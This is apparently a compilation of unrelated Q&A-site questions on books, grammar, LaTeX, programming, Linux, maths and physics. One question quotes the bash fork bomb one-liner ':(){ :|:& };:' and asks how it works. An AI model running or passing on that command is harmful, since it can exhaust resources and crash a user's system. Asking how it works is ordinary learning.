Book About Earth Boy Who Becomes Space Cadet

I'm looking for a book from the late 80s. It's about a teenage boy who finds a spaceship out in the country that's crash-landed. There's only one survivor: a boy from a vampiric alien race but he's badly hurt. He's somehow able to show the boy his home planet and the muscular cow-like creatures that his people use for their blood. Eventually the boy's brother, a druggie and Vietnam vet, puts the boy and his alien friend to work making drugs, which they both need masks to do.  Eventually the alien's friends (dressed in skin suits) come to their house.   Apparently the boy was a cadet for some kind of interstellar federation, and they want to know what happened. The boy tells them, and an orangutan-like alien (who we are strangely told has the skull of a Hispanic man) and his friends (who are the same species as the boy's friend) ultimately allow him to go with them, as there is nothing for him on Earth after his brother was busted.  The boy is treated more like a talking animal than he is a sapient being because he can't speak the Galactic Lingua Franca, and so when they get to a planet he's taken to be taught and has his brain's plasticity increased so he can learn the language in record time. He's placed in classes with other people from less advanced planets, and he ultimately makes friends with a girl. The girl is an alien from a theocratic planet, and she can unhinge her jaw like a snake's. She eventually freaks out from culture shock, but the boy manages to pass and become a cadet. He also meets a group of humans who were taken from Earth in the 1400s, and who call the alien inhabitants of the planet Devils.  He's eventually given a ship and a partner (whose species looks similar to Big Bird), but they crash-land and his partner is killed by the natives. The boy is imprisoned and tries to communicate with his captives using drawings, but they don't understand him. They're fascinated by his facial hair, as they can't grow any themselves even though they're humanoid, and eventually they allow him to speak to the cameras after he is publicly unveiled. He talks in the Galactic Language and gives them a Reason You Suck speech, but they still don't understand him.


Is it Correct To Start A Sentence With a Coordinate Conjunction

This seems to be argued back and forth by my Writing and Reading teachers. Here is the problem. For example I write this sentence:     And I went to bed to get some sleep.   Just a simple sentence with the conjunction And at the beginning. My teachers disagree whether this is correct or not. So is it correct to start a sentence with a coordinate conjunction?  This is not a duplicate because my question is about all the FANBOYS, not just the conjunction "and".


I am new to blender scripting. so, If I have two scenes open, one being the master scene with VSE only, and other scene with animation. Is there a way to link their play-heads so that if I move current frame on VSE, it moves on animation scene as well ?  This important for in-context changes during animation, when multiple scenes are composited. I have been trying to replicate functionality of After Effects in Blender.  Or is there a better way to do this?


AVG: Biber listed as a trojan in TexLive 2014?

A few days ago I installed TexLive 2014 on Windows. I just compiled a document today to test it and Biber is recognized as a Trojan Horse by AVG Free. The message says: BackDoor.Generic18.ALDX. From my research online, this seems to be fairly strange since I could not find any other similar questions on that topic. What could then be wrong? If I ignore the threat, it pops up again at the next compilation.


what's the difference between these two pointer code

I found these two different sources, but they do the exact same thing. I was wondering if there is a difference or not but I couldn't figure it out.  Can anyone tell me the difference and when should I use which?  this is the first one:   void function1(int *x) {     *x = 100; }  int main() {     int var1 = 10;      function1(&var1);     cout << var1 << endl; }   and this is the second one:  void function2(int &x) {     x = 100; }  int main() {     int var2 = 10;      function2(var2);     cout << var2 << endl; }


I use a MOUSE not a joystick, please no more joystick answers! How do I change my pointer so I can see it better?

I am an old fart that has a tough time keeping an eye on my MOUSE pointer.  In Windows you can go to control panel, click on "mouse" and change the pointer style,  how fast my cursor goes across the screen, etc.  I found only a symbolic mouse app in Ubuntu that that does nothing that I can tell.  Logitech does not support Linux, so I don't know  where to go for these controls.  Is there anything out there?


I was messing around this morning and found that if I quickly double touch (NOT double-click) the fingerprint sensor on my iPhone 6S+ (iOS 9.2), the current app (or the home screen) slides down to the bottom half-screen, showing a blurred home screen background on the top half.  It doesn't matter if I use a finger that the sensor recognizes.  It goes back to normal after about 8 seconds or if you double-touch again, but I can't figure out what this mode is for??  Is this a bug or some hidden feature I haven't heard about yet?


Font "FontAwesome" cannot be found when switching fonts in moderncv using XeLaTeX

I'm trying to change the font of the template in  .  For that, I need to use XeLaTeX and, as I understand, set  \usepackage{fontspec} \setmainfont{Baskerville}  \renewcommand*\namefont{\fontspec{Baskerville}\fontsize{40}{48}\selectfont} \renewcommand*\titlefont{\fontspec{Baskerville}\fontsize{20}{24}\selectfont} \renewcommand*\addressfont{\fontspec{Baskerville}\selectfont} \renewcommand*\sectionfont{\fontspec{Baskerville}\fontsize{20}{24}\selectfont}   Unfortunately, when I try to compile with XeLaTeX I get  "kpathsea: Running mktexmf FontAwesome  [Some stuff here, and, finally]  Package fontspec Error: The font "FontAwesome" cannot be found. "   On the other side, when I run with LaTeX, everything goes fine.   By the way, I'm using a macOS High Sierra 10.13.6.  So, what's the problem. Do I have to install this font or something like this? If so, why LaTeX identify somehow this font? Furthermore, how can I install such font if that's the case?  An example as required in the comments  \documentclass[11pt,a4paper,sans]{moderncv}       \moderncvstyle{casual}                             \moderncvcolor{blue}      \usepackage{fontspec}                            \setmainfont{Baskerville}  \renewcommand*\namefont{\fontspec{Baskerville}\fontsize{40}{48}\selectfont} \renewcommand*\titlefont{\fontspec{Baskerville}\fontsize{20}{24}\selectfont} \renewcommand*\addressfont{\fontspec{Baskerville}\selectfont} \renewcommand*\sectionfont{\fontspec{Baskerville}\fontsize{20}{24}\selectfont}   \name{John}{Doe} \title{Resumé title}                               \address{street and number}{postcode city}{country}  \begin{document}  \makecvtitle  \section{Education} \cventry{year--year}{Degree}{Institution}{City}{\textit{Grade}}{Description}  % arguments 3 to 6 can be left empty \cventry{year--year}{Degree}{Institution}{City}{\textit{Grade}}{Description}  \section{Master thesis} \cvitem{title}{\emph{Title}} \cvitem{supervisors}{Supervisors} \cvitem{description}{Short thesis abstract}  \end{document}   For some reason, it also works for LuaLaTeX also as suggested by Herbert in the comments.     Thanks in advance.


Order of WP page load (including widgets, php, plugins, media, templates, and CSS)

In what order does WordPress resources (e.g. templates, php files, media, plugins, widgets, enqueued scripts, and CSS) get loaded?  I am new to WordPress and there is some basic info I have been unable to find on this forum; I was wondering if someone might be able to describe the order in which various resources like templates, PHP files, media,  plugins, widgets, enqueued scripts, and CSS are loaded in WordPress.   asks about plugins only, but it would be helpful to know about how a page is loaded, from start to finish, so learners can get an idea about the entire rendering process.    asks users to provide a flow chart about the load order. I am requesting three things that are different;   I would like to have plugins and widgets explictly addressed. I would also like people to answer the question, and answer it using words and/or images, I am not specifically asking for a flow chart. I am also asking that respondents make an effort to avoid going into too much detail, so beginners can get a good sense of the most important parts of the loading process.     Any information is helpful, including reference links, however, those comprehensive guides are already online. The problem is that for new users, they are dense, long, and not easy to understand. I'm hoping a community member can provide an answer that gives a nice, well-rounded overview of the process, without listing every single detail that one can look up in the online guides.


Why is the (free) neutron lifetime so long?

A neutron outside the nucleus lives for about 15 minutes and decays mainly through weak decays (beta decay). Many other weakly decaying particles decay with lifetimes between $10^{-10}$ and $10^{-12}$ seconds, which is consistent with $\alpha_W \simeq 10^{-6}$.  Why does the neutron lives so much longer than the others?


Tool to analyze and track resource usage on Windows XP

I know there are responses for Windows 7 but I am looking for Windows XP  I am what I would consider a power user, at a given time I am likely to have 4-5 terminal instances, Eclipse, Websphere, Word, Notes, etc running fairly heavily on a pretty mediocre machine running Windows XP. My appeals to get a better laptop (or use my own) have been hindered by the fact that the help desk cannot find anything "wrong". I thought I might be able to make my case by tracking my resource usage.  At a minimum I am looking for something like top where it shows me avg load over a period, but I would prefer some kind of historical tracking.  Anyone have a good tool?


Access Old User Directory on previous (faulty) SSD

I recently had a problem with the SSD I was using as my OS drive and I had to replace it.  Just out of interest I tried plugging the old SSD in again and I appear to be able to see and read data from it.  The odd thing is that the only directory I cannot see is the one I'm interested in.My old Users directory.  I can see Users\Default and Users\Public but not Users\<username>.  Is this expected behavior or can I reveal it somehow? Is there a way to attempt to detect that might be a damaged bit of disk?  Seems strange that it would be the only one I can't see and the only one probably worth securing somehow, given the scenario.  I've viewed the SSD SMART data using the OCZ suite of tools and all looks completely healthy.  UPDATE  After looking at Davids suggested commands I ran the following one:  icacls "full path of folder or drive" /setowner "Administrators" /T /C  This went through the entire drive and I saw all the stuff I'm interested in get listed.  However I still cannot view them in the explorer window.


Having difficult time using or downloading videos with Youtube-dl

Having difficult time using or downloading videos from Youtube it keeps saying   bash: /usr/local/bin/youtube-dl: Permission denied   I don't even know if I installed it correctly. My OS is Ubuntu 15.10 64.


I am using SQL Server 2005 Express (not mysql).  I have a string  str = 'E1 ; abc ; E2 ; def';   I want to split string str with respect to delimiter ; and then insert values into table as follows:  Name       Value E1          abc E2          def   Please help, thanks in advance !!!


How can I randomly distribute objects in Illustrator?

I have a small star object that I'd like to randomly distribute copies of all over a large space background in Illustrator CC. How can I do this automatically? I've tried to do it manually but the results are never "random" enough, and making it dense enough is very time-consuming.


How can I prevent my mail from being classified as spam?

When sending or forwarding emails using a personal or company domain using a  website or email client, how do I prevent the email from being incorrectly marked as spam?


Singular or plural (when referring to one occasion representing other occasions of the same kind)

Context: I am teaching an online course via WA. The teaching and learning activity is going to take place in a WA group. In that course, I need to tell my students that they will get the materials on the group one after another. So, I will not send them all at once. I will just send one material right before we are engaged in it. Can I say: Well, class, I will send the material you are going to learn and it should be on your phone screen while you are having it


My view become transparent all I see are the edges of the object

hi I have a little problem with the Wireframe in object mode, I can't see the edges inside and the edges that are in front of my view become transparent : Blender 2.9 :  Blender 2.79 :


I have a Nishiki Pueblo and I am looking to put disk brakes on it.   My problem is that I am not sure which disk brakes fit on my bike.   Thanks in advance.


Why does the harmonic series diverge but the p-harmonic series converge

I am struggling understanding intuitively why the harmonic series diverges but the p-harmonic series converges. I know there are methods and applications to prove convergence, but I am only having trouble understanding intuitively why it is. I know I must never trust my intuition, but this is hard for me to grasp. In both cases, the terms of the series are getting smaller, hence are approaching zero, but they both result in different answers. $$\sum_{n=1}^{\infty}\frac{1}{n}=1+\frac{1}{2}+\frac{1}{3}+\frac{1}{4}+\cdots = \text{diverges}$$   $$\displaystyle \sum_{n=1}^{\infty}\frac{1}{n^2}=1+\frac{1}{2^2}+\frac{1}{3^2}+\frac{1}{4^2}+\cdots =\text{converges}$$


I am a teacher - who is not very good with technology. I have heard about a new administration app called SchoolTool, which is only available on Ubuntu. I pressed download, and it is currently on my laptop. However, it's just sitting in my downloads, with a picture of a CD/DVD? If I click on it, it takes me to different documents with in the download, but I can't start it. I want to run it alongside my current windows 10. Thanks.


Ubuntu on WDMyCloud NAS WDBCTL0020HWT-EESN

I have a WD MyCloud 2TB NAS  running BusyBox Linux v1.20.2 and as I am getting a lot of sync errors I would like to flush the BusyBox and replace it with Ubuntu and install NextCloud on it.  Edit 1  Busybox is rather limited with the choice of commands to view hardware info so here is my humble try to get some hardware info to ask if Ubuntu is compliant with this.  The built-in processor:   root@XXXXX root # cat /proc/cpuinfo processor       : 0 model name      : ARMv7 Processor rev 1 (v7l) BogoMIPS        : 1594.16 Features        : swp half thumb fastmult vfp edsp neon vfpv3 tls CPU implementer : 0x41 CPU architecture: 7 CPU variant     : 0x4 CPU part        : 0xc09 CPU revision    : 1  processor       : 1 model name      : ARMv7 Processor rev 1 (v7l) BogoMIPS        : 1594.16 Features        : swp half thumb fastmult vfp edsp neon vfpv3 tls CPU implementer : 0x41 CPU architecture: 7 CPU variant     : 0x4 CPU part        : 0xc09 CPU revision    : 1  Hardware        : Marvell Armada 375 (Device Tree) Revision        : 0000 Serial          : 0000000000000000   Memory    root@XXXXX root # cat /proc/meminfo MemTotal:         514528 kB MemFree:          106240 kB Buffers:           39040 kB Cached:           175168 kB SwapCached:            0 kB Active:           117600 kB Inactive:         160960 kB Active(anon):      57376 kB Inactive(anon):    24768 kB Active(file):      60224 kB Inactive(file):   136192 kB Unevictable:        6464 kB Mlocked:            6464 kB HighTotal:             0 kB HighFree:              0 kB LowTotal:         514528 kB LowFree:          106240 kB SwapTotal:       2097056 kB SwapFree:        2097056 kB Dirty:                 0 kB Writeback:             0 kB AnonPages:         70720 kB Mapped:            52864 kB Shmem:             15616 kB Slab:              37280 kB SReclaimable:      13728 kB SUnreclaim:        23552 kB KernelStack:        1672 kB PageTables:        13312 kB NFS_Unstable:          0 kB Bounce:                0 kB WritebackTmp:          0 kB CommitLimit:     2354304 kB Committed_AS:     392480 kB VmallocTotal:     515072 kB VmallocUsed:        7712 kB VmallocChunk:     490496 kB   Disk Partitions    root@XXXXX root # df Filesystem           1K-blocks      Used Available Use% Mounted on %root%                   55529     33808     18854  64% / /dev/ram0                55529     33808     18854  64% / mdev                    257248        32    257216   0% /dev /dev/sda3               999576    211756    761116  22% /boot /dev/sda7               999576      1684    971188   0% /usr/local/config /dev/loop0              102144    102144         0 100% /usr/local/modules tmpfs                     1024         0      1024   0% /mnt tmpfs                    40960      8320     32640  20% /var/log tmpfs                   102400      1728    100672   2% /tmp /dev/sda4               951192      2384    932424   0% /mnt/HD_a4 /dev/sda2            1914463512   4762048 1890233996   0% /mnt/HD/HD_a2   Linux/Kernel Info   root@XXXXX root # cat /proc/version Linux version 3.10.39 (kman@kmachine) (gcc version 4.6.4 (Linaro GCC branch-4.6.4. Marvell GCC Dev 201310-2126.3d181f66 64K MAXPAGESIZE ALIGN) ) #1 SMP Sun Aug 2 12:24:50 CST 2015 2014T20p4 Build-git3e9fe59   Can Ubuntu 16.04 lts server or Ubuntu Core run on this architecture?  Edit 2  If Ubuntu supports the ARMADA 375, how can this be installed on this headless NAS?


According to Wikipedia, the following is a very elegant bash fork bomb:  :(){ :|:& };:   How does it work?


Unable to increase partition size using gparted on Ubuntu 16

I have a 50GB partition (sda10) that I want to merge with an existing partition of 172GB (sda4). How do I go about it?  The partitions are not contiguous. I am new to Ubuntu and don't want to mess up my system badly.


How do I adjust a door so it doesn't swing on its own?

I have a normal door, and left to its own devices it will simply rest about 20-30 degrees. It won't swing shut on its own, nor stay open on its own. It hangs a bit in the middle. Convenient enough to catch you elbow when you're not looking.  I'd like the door to stay put wherever we leave it.  I've heard idea such as slipping cardboard in to the hinge to rebalance the door, etc. but no guidelines as to the thickness of that cardboard, or which hinge to change to move it in which direction.  I would hope you can appreciate how I'd rather not make this a task of trial and error and continually removing the hinge and putting it back on, etc.  I've also heard something about lightly bending one of the hinge pins, but not sure how I should go about that, or "how much" to bend it.  So, I'm looking for some tips on how to fix this (and other) door.


Cannot set a different database directory for mysql ( Errcode: 13 - Permission denied)

I am attempting to relocate the database directory for my mysql installation to a newly install ssd.  Configuration:  Ubuntu 16.04 mysql Ver 14.14 Distrib 5.7.12, for Linux (x86_64) using  EditLine wrapper  I modified /etc/mysql/my.cnf to include a new database dir:  datadir = /mnt/5abeaa6e-7536-4213-bb3e-97aa9a81be16/mysql   Now in running sudo service mysql start it brings up a permissions error:  mysqld[9002]: mysqld: Can't change dir to '/mnt/5abeaa6e-7536-4213-bb3e-97aa9a81be16/mysql/' (Errcode: 13 - Permission denied)   I have run both recursive chmod and chown commands on the new directory to match it up and the stat readout now shows as follows:  $ stat /var/lib/mysql   File: '/var/lib/mysql'   Size: 4096        Blocks: 8          IO Block: 4096   directory Device: 812h/2066d  Inode: 13381090    Links: 8 Access: (0700/drwx------)  Uid: (  127/   mysql)   Gid: (  134/   mysql) Access: 2016-06-23 09:42:37.687378790 -0700 Modify: 2016-06-23 09:46:04.679025933 -0700 Change: 2016-06-23 09:46:04.679025933 -0700  Birth: -  $ stat /mnt/5abeaa6e-7536-4213-bb3e-97aa9a81be16/mysql   File: '/mnt/5abeaa6e-7536-4213-bb3e-97aa9a81be16/mysql'   Size: 4096        Blocks: 8          IO Block: 4096   directory Device: 820h/2080d  Inode: 3276801     Links: 3 Access: (0700/drwx------)  Uid: (  127/   mysql)   Gid: (  134/   mysql) Access: 2016-06-23 09:45:16.190998487 -0700 Modify: 2016-06-22 18:37:37.707197266 -0700 Change: 2016-06-23 09:45:16.190998487 -0700  Birth: -   I also modified /etc/apparmor.d/usr.sbin.mysqld to  # Allow data dir access #  /var/lib/mysql/ r, #  /var/lib/mysql/** rwk, /mnt/5abeaa6e-7536-4213-bb3e-97aa9a81be16/mysql/ r, /mnt/5abeaa6e-7536-4213-bb3e-97aa9a81be16/mysql/** rwk,   Any ideas would be appreciated.


Creating trade flow maps in ArcGIS for Desktop (or any free software)?

I am trying to represent trade flows on a world map where the size and direction of arrows indicate the exports/imports of a given country.  This type of map is commonly found in magazines and newspapers. However, I find it extremely difficult to make.   Is there any function in ArcGIS for Desktop or any free software that would help me in making it?


show that $\lim\sqrt[n]{x_1x_2\dots x_n}=\alpha$

Given a sequence of positive numbers $(x_n)$ with $\lim x_n=\alpha$   show that $$\lim\sqrt[n]{x_1x_2\dots x_n}=\alpha$$   I'm not sure about how to proof it, but if each $x_n\to\alpha$ then $x_1 x_2\dots x_n\to a^n$ so $$\lim\sqrt[n]{x_1 x_2\dots x_n}=\sqrt[n]{a^n}=a$$  How I can proof it?


I am asked to integrate by parts $\int \ln(x) dx$. But I'm at a loss isn't there supposed to be two functions in the integral for you to be able to integrate by parts?


Which one is correct? 'many thousands of animals ' or 'much thousands of animals'


Array from a seperate object not printing correctly

I have a program that currently I'm trying to create a player with customizable integers. I use this object:  public class Player {     public String player = null;     private int Strength=0;     private int Defense=0;    private int Magic=0;    private int Resistance=0;    private int Skill=0;    private int Luck=0;     public Player(String name, int int1, int int2, int int3, int int4, int int5, int int6) {        this.player = name;        this.Strength = int1;        this.Defense = int2;        this.Magic = int3;        this.Resistance = int4;        this.Skill = int5;        this.Luck = int6;    } }   I use this main class to run it, and set the integer and string values.  public class Main { public static void main(String[] args) {   Player[] playerList = new Player[] {new Player("Player1", 3, 3, 2, 1, 1, 3),new Player("Player2", 1, 1, 1, 1, 1, 1)};    }   }  However, whenever I attempt to print this, it prints this:Player@659e0bfd I looked through similar questions, but I am not sure where to put the @Override in my program, and if I need to do something different since I have multiple integers, and a string. I only want the string to print out. (Also, is there a way to print out just one part of the playerList, ie. the first section "Player1")


Why can we set $c$ and $\hbar$ to 1 when it changes the result?

So in my QFT course, my professor said that you can set $c$ and $\hbar$ to 1. And he gave us an example: $$E = mc^{2}$$ And then set $c = 1$: $$E = m$$ This seems completely ludicrous to me to do. Doesn't it change the result? Why can this be done and why isn't it wrong? I mean, $E = mc^{2}$ gives you one answer and $E = m$ gives you another, completely different answer!


Why does interchanging two rows flip the sign of the determinant?

In the book there is a property of the determinant that I have question about:     If B is a matrix obtained by interchanging any two rows or interchanging any two columns of an n by n matrix A, then $det(B)=-det(A)$   It is left without proof. I would like to know why this is true. Any references or any help are appreciated.


I have a really good book (.pdf) that i would like to take some code from there. I know that book was written with LaTeX, so my question is if there are any kind of way to take that .pdf and reconvert to .tex file?  Thanks in advance.


what does it mean 'fork()' will copy address space of original process

I'm studying 'operation system concepts' on my own and I'm studying the chp3. process part.  There is an example where the 'fork()' function is called and depending of the returned pid value like the following:  pid=fork(); if(pid<0){ //error stuff } else if(pid==0){ // child process stuff } else{ // parent process stuff }   What confused me here is that if this code is executed, among the three scenarios of 'if's, only one would be executed which means that only one out of parent/child procedures would be executed.  But reading a bit more carefully, I found a sentence that kind of helped me solve the confusion but not entirely.     The new process consists of a copy of the address space of the   original process.   From my imagination, I guess this means that whenever the 'fork()' calls is executed, somehow an exact copy of this code will be duplicated and be run as 'child' process when the original c code will be run as 'parent'.  Am I understanding this right?  Also, what does the 'address space' have to do with this? Again, using my imagination I assume that, since the execution of parent code means that the code is loaded to the RAM and executed where it will have a segment of RAM assigned to the code, this segment will be copied to a new segment somewhere else located in the RAM and be assigned for the child process.  Is my understanding correct?


How to increase performance with joins to create VIEW from Wordpress wp_usermeta

After a lot of searching, I finally was able to create a SQL Query to retrive Wordpress User Meta Data. Now the problem is, the performance is so bad it doesn't even show me a result after 30 min.   Wordpress stores data in 3 columns: user_id, meta_key, meta_value.  So each entry gets one row.  What I need is one row per user, with each meta_key as its own column.   In other words, I have this:   user_id | meta_key | meta_value        1|Name      |David        1|Lastname  |Brown   But I need this:   user_id|Name |Lastname       1|David|Brown   My approch on this is:  select m1.user_id, m1.meta_value as Vorname_M, m2.meta_value as Nachname_M,m3.meta_value as Adresse_M from wp_usermeta m1 join wp_usermeta m2 on (m1.user_id = m2.user_id and m2.meta_key =  'nachname') join wp_usermeta m3 on (m2.user_id = m3.user_id and m3.meta_key = 'adress') where m1.meta_key = 'vorname'   With 5 joins it still works, but takes already 4 sec. All in all there are actually 17 joins, and at this point it doesnt show me anything.   I am running the query in phpMyAdmin, and would like to create a VIEW out of the result.   Now the actual question is: How can I increase the perfomance on my query, or how to rewrite it? I am givng my best, but I am actually a starter in SQL.   MySql version: 5.5


Does the k-th moment exists when $E[X^k]$ is infinite in ether (one) positive or negative direction?

I'm reading Probability and Statistics by DeGroot and Schervish, and in it it said that the expectation of a random variable exists if at least one of the integrals over all negative/positive values of random variable is finite:    But then, later in the book, when they talk about moments, they say that for k-th moment to exist, the expectation of the absolute value of the random variable to the power k should be finite, and that is the same as saying that for the expectation to exist, it should be finite. This contradicts what was said before, about expectations.    So, is it like, when we talk about expectations, they can be infinite, but when we talk about moments (which is the same thing), expectations can not be infinite? Please help, this is really confusing.


How to enable unicode within comment section? (package "comment")

In following MWE, letters with an accent that are within the personalized comment environment are generating following errors while compiling with pdflatex:     ! Package inputenc Error: Unicode char �tr (U+F0)   (inputenc) not set up for use with LaTeX.   Question: How to enable unicode characters within a comment-environment?    \documentclass{scrartcl}      \usepackage[utf8]{inputenc}     \usepackage[T1]{fontenc}     \usepackage{comment}             \includecomment{mycomment}     \begin{document}      \section*{Normal text}             Tous les êtres humains naissent libres et égaux en dignité et en droits.      \section*{Text within a displayed personnalized comment} \begin{mycomment}         Tous les êtres humains naissent libres et égaux en dignité et en droits. \end{mycomment} \end{document}


I was looking at the Java code for LinkedList and noticed that it made use of a static nested class, Entry.  public class LinkedList<E> ... { ...   private static class Entry<E> { ... }  }   What is the reason for using a static nested class, rather than an normal inner class?  The only reason I could think of, was that Entry doesn't have access to instance variables, so from an OOP point of view it has better encapsulation.   But I thought there might be other reasons, maybe performance. What might it be?  Note. I hope I have got my terms correct, I would have called it a static inner class, but I think this is wrong:


Java - Object value not modified after passing object reference variable to another function

I am passing integer object reference   public class Test1 {     public static void main(String args[]){         Integer x = new Integer(56);         Integer y = new Integer(34);         Test1 test = new Test1();         test.change(x,y);         System.out.println("Values inside main() after calling change method");         System.out.println("x :"+ x +"; y :"+y);     }     public void change(Integer x1, Integer y1){          x1 = 45;         y1 = 1000;         System.out.println("Values After Modification inside change method");         System.out.println("x1 :"+ x1 +"; y1 :"+y1);     } }   but there is no change in value of x and y ?? Please help...Thank you in advance. Here is the output.  Values After Modification inside change method x1 :45; y1 :1000 Values inside main() after calling change method x :56; y :34


Output referenced entity in correct language

The following code outputs referenced entities in the original language they were created.  {% for story in node.field_stories %}   {{ story.entity.label }} {% endfor %}   I want it to render in the current language (translation) instead. How can I achieve this?


Schengen ATV required for Toronto > New Delhi, via Lisbon and Vienna?

I have a transit visa question.  I am an Indian citizen, and I will be traveling from Toronto, to New Delhi, via Lisbon Portugal and Vienna Austria, through the TAP Airline  Similarly, I'll be coming back to Canada, with valid travel documents, via some Schengen countries, in under 10 days.  I can't find out clearly, whether I need transit visa for this itenarary.  As per Emirates transit visa tool,   But since as an Indian citizen, I need a visa for pretty much everywhere, I am confused. I also read in other answers here that if you're just touching one Schengen area, you don't need an ATV, but I am touching two, which confuses me further.  Any help please? Sorry if this is duplicate.


How can I know the size of an user define type(class) in Java?

Is there any way to know the size of an user define type(class) in Java ?


How do I download a YouTube video (in 2019)?

I know this question has technically been asked before (), but that was 9 years ago!   A lot has changed, and in fact many of the answers no longer operate the way they did when the answers were written. This is because almost all of the answers are about 9 years old as well, with the newest still being >2 years old (and having 0 votes). We need an update!  My question: So what are some accessible and safe ways to download YouTube videos in 2019?   Preferably, I would like to know free options that I can trust, and I would prefer add-ons for Firefox or Chrome. However, all trustworthy options are valid answers.      I would prefer answers with suggestions that don't require or contain subscriptions, external services, external apps, helper apps, payments, adware, crippleware, or malware. The simpler the solution, the better!


In the following sentence, are the words that and which interchangeable?  In general, where to put that and where to put which? The sentence: At the end of this course, students will be able to   Analyze circuits that function as filters.  Analyze circuits which function as filters.


Is there something like "Firebug for IE" (for debugging JavaScript)?

I'm trying to fix some JavaScript bugs. Firebug makes debugging these issues a lot easier when working in Firefox, but what do you do when the code works fine on Firefox but IE is complaining?


Toss a fair die until the cumulative sum is a perfect square-Expected Value

Suppose we keep tossing a fair dice until we want to stop, at which point the game ends and our score is the cumulative sum, or until the cumulative sum is a perfect square, in which case we lose and end up with a score of $0$.   We can set up a Markov-style recurrence. Define $f(k)$ to be the expected value of the game if the current cumulative sum is $k$. Clearly, $f(k)$ is $0$ if $k$ is a perfect square. In addition, $f(k)=\text{max}\{k,\sum_{i=1}^6 f(k+i)\}$.   How can we solve such a recurrence to find a good estimate/bounds of the expected score ($f(0)$) and the optimal strategy? Can these methods be extended to a game where we lose if the cumulative sum is an even number, or a perfect cube?


I was just looking at some , specifically at Hash_DRBG. I read briefly through the algorithm, and even though it is not overly complex, it still seems unnecessary to me. I asked myself how I would implement a (cryptographically secure) PRNG on top of a Hash algorithm (SHA256 or SHA512), what came up is:  Idea one:    Obviously this can only provide half the "strength" of the hash  Initialization: state = hash(seed); Iteration: output = first_half_of(state); state = hash(state); Reseeding: state = hash(state || new_seed)   Idea Two:  Maybe with a separate counter  Initialization: state = hash(seed); Iteration: output = hash(state); ++state; Reseeding: state = hash(state || new_seed)   Now, these two "schemes" seem safe to me, I'm a complete crypto noob though. The point is that I don't think that I'm the first one to think of these very basic PRNGs, and I'd like to understand the reason for NIST not to choose something similar in their recommendations. Do these PRNGs have some (obvious?) weaknesses? (If not, is there something known about after how many iterations they should be reseeded?)


HTC One model c525c, errors downloading from Play Store (491, 905, 915, and insufficient space)

Earlier this month I thought I had a virus so I factory reset my phone, which is rooted. I have been trying to reinstall my games, over 40 of them. Only have 6 of them now and my phone keeps telling me I have insufficient space, with all the apps and games that I can move to my 16 gig SD card, which only has less than one gig used on it.   I used to always get error 491 before factory reset. I have been getting 915 and most recently, 905. And the ones that do download to 100% lockup at 100% and won't open. Plus I can't even update. Please help me fix, especially the 915 latest error.


Someone said that quest items don't count against your carrying capacity in Skyrim, even if they have a weight listed. Is this false?


Intuitive proof for $(a, b) = (a', b')$.

If $p,q,r,s$ are integers such that $ps - qr = \pm 1$, and $a,b,a',b' $ are integers such that $a' = pa +qb, b' = ra + sb$, prove that $(a, b) = (a', b')$. Here, the particular value of $ps - qr = \pm 1$ enables us to get integer values. Can there be an algebraic or intuitive explanation for that? Have two explanations. My explanation is given for both sequentially. The first explanation is offered as a geometrical / intuitive one. While the second one uses number theoretic approach, and linear system of equalities. Request vetting & improvement for the first one First, needs linear algebra, and orthogonal matrices. $$\begin{bmatrix}         a'\\         b' \\         \end{bmatrix} =  \begin{bmatrix}         p & q\\         r & s \\         \end{bmatrix} \begin{bmatrix}         a\\         b\\         \end{bmatrix} $$ The condition $ps - qr = \pm 1$, states two things about matrix $$\begin{bmatrix}         p & q\\         r & s \\         \end{bmatrix} $$ #1. determinant is non-zero; hence invertible matrix. #2. Also, is an orthogonal matrix. A function is invertible iff it is bijective. A matrix is only a convenient representation of linear mapping function between two sets, wrt a basis of the domain and co-domain of the function. #1: So, for linear maps, the determinant of corresponding matrix as non-zero means the mapping is possible in both directions without collapsing of any dimension (row/column). #2: the area (min. possible contained entity, as order $2$ is the minimum dimension; similarly, for order $3$ matrix, it is volume) is unit as for orthogonal matrix of order $n$ 'that' is given by: $I^n = 1$. Hence, $(a,b) = (a', b')$. Think that need some geometrical insight in orthogonal matrices. Edit ::  in case of orthogonal matrices, they practically arise in rotation or reflection, where the determinant is $\pm 1$. Can this explanation be modified to take into account that?  Second explanation is equivalent, though needs to ignore the matrix representation. But, needs the linear system of equalities to use the Bezout's lemma. This is a number theoretic approach. $$a' = pa + qb$$ $$b' = ra + sb$$ any common divisor of $a, b$ will divide both $a', b'$, so $(a,b) ≤ (a',b')$. Solving for $a, b$ in terms of $a', b'$ gives $$a = (s/(ps-qr))a' -(q/(ps-qr))b'$$ $$b = (-r/(ps-qr))a' +(p/(ps-qr))b'$$ Since $ps-qr =\pm1$, all the coefficients in this system are integers, so $(a',b')$ is a common divisor of $a$ and of $b$, therefore, $(a',b') \le (a,b)$.


How can add animate.css class onclick event in pure javascript?

I failed to use on-click functions in javascript. How can I add fade-in class on-click event? If possible modern javascript use or es6. Also, how can I remove the class in 5 seconds? Please suggest me no JQuery.  If possible all click event method function use.  I failed to use on-click functions in javascript. How can I add fade-in class on-click event? If possible modern javascript use or es6.Also, how can I remove the class in 5 seconds? Please suggest me no JQuery, please. if possible all click event method function use.      <!DOCTYPE html>                                <meta charset="utf-8">             <title>css layout</title>
                 <button onclick="animations()">Click Me</button>


I have one Bitmap A and one array of Bitmap, in the array there is a Bitmap that looks the same as Bitmap A. I'm using the code below but it sometimes doesnt work, it iterates the entire array without finding it, it seems there are some minor differences, is there a way to change the function to return true if its 90% similar or pick the most similar image in the array? The array has only 6 images.   for(int i = 0; i < list.Count;i++)     {         if(ImageCompareString(image,list[i])         {             answerIndex = i;             break;         }     }  private static bool ImageCompareString(Bitmap firstImage, Bitmap secondImage) {     MemoryStream ms = new MemoryStream();     firstImage.Save(ms, System.Drawing.Imaging.ImageFormat.Png);     String firstBitmap = Convert.ToBase64String(ms.ToArray());     ms.Position = 0;      secondImage.Save(ms, System.Drawing.Imaging.ImageFormat.Png);     String secondBitmap = Convert.ToBase64String(ms.ToArray());      if (firstBitmap.Equals(secondBitmap))     {         return true;     }     else     {         return false;     } }


I have the following question:    I got two groups $X=\{1,2,3,4\}$ , $Y=\{1,2,3,4,5,6\}$  How many injective functions $f: X → Y$ consider next terms: for each $i \in X$ , $f(i) ≠ i$ .  The solution has to be via inclusion - exclusion principle.  Can anyone suggest an approach or an answer?  Thanks!


How Are Galaxies Receding Faster Than Light Visible To Observers?

We know that some galaxies are moving away from us faster than the speed of light and we know it by measuring the redshift, but how's that possible? If they're moving away say at $2c$, how would the light of the galaxy even reach us? How do we measure "redshift" for something faster than light?


